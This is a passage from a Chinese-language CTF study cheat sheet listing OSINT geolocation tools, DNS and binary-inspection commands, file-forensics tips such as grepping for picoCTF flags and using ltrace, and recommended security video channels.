    - 地理空间视觉大语言模型,仅凭一张图像即可估算位置
- [overpass turbo](https://overpass-turbo.eu)
    - 可查询OpenStreetMap API并可视化结果的网站
- [Bellingcat OSM搜索](https://osm-search.bellingcat.com/)
    - 可轻松查询OSM API的网站

## 杂项

- 解析DNS错误
    - `dig <网站> <记录类型>`
    - [记录类型列表](https://en.wikipedia.org/wiki/List_of_DNS_record_types)
        - 确保尝试TXT记录
- 以不同架构运行二进制文件
    - 64位:
        - `linux64 ./<二进制文件>`
    - 32位:
        - `linux32 ./<二进制文件>`
- 提取MS宏:
    - [https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php](https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php)
- 查看CNC G代码
    - [https://ncviewer.com/](https://ncviewer.com/)
下载工具
网络研讨会
  • stacksmashing
    • 精彩的逆向工程和硬件破解视频。
    • 有一个很酷的系列视频展示了他如何逆向 WannaCry。
  • Ben Greenberg
    • GMU 教授,有很多 pwn 和恶意软件视频教程。
    • 稍微有些过时,但仍然不错。
  • InfoSecLab at Georgia Tech
    • 关于 pwn 的深入、高质量的课程。
    • 需要一些背景知识。
  • RPISEC
    • RPI 大学的团队会议。
    • 非常深入,假设观众有一定计算机科学背景。
  • Matt Brown
    • 嵌入式安全渗透测试人员。
    • 制作适合初学者的 IoT 破解视频。
  • 常见文件签名列表
  • Ghex(另一个十六进制编辑器,但有 GUI。适合需要跳转到特定字节的情况)
    • ghex <file.xyz>
  • docx 文件是容器,可以解压缩以查找隐藏内容。
    • unzip <file.docx>
  • Grep - 一种使用 grep 递归查找 flag 的好方法:
    • grep -r --text 'picoCTF{.*}'
    • egrep -r --text 'picoCTF{.*?}
    • 可以将 'picoCTF' 替换为要查找的 flag 的开头。
  • Ltrace - 允许查看运行程序时代码的执行情况:
    • ltrace ./<file>
    • ltrace -s 100 ./<file>
      • Ltrace 会截断很长的字符串。可以使用 -s 增加 ltrace 显示的字符数。在查看包含大字符串的 strcmp 时很有用。